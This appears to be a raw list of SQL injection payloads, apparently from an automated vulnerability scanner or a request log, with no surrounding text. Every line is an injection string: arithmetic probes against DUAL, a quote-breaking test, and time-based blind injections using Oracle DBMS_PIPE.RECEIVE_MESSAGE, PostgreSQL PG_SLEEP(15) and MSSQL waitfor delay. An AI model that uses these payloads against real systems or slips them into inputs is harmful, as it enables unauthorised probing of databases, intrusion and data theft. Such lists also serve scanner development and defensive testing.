(select 198766*667891 from DUAL)

555'"

(select 198766*667891)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555CNZJvuCb')) OR 789=(SELECT 789 FROM PG_SLEEP(15))--

555xg5Oi8rX') OR 724=(SELECT 724 FROM PG_SLEEP(15))--

555mPxjB2V8' OR 788=(SELECT 788 FROM PG_SLEEP(15))--

555-1)) OR 156=(SELECT 156 FROM PG_SLEEP(15))--

555vR5p6Yhk'; waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --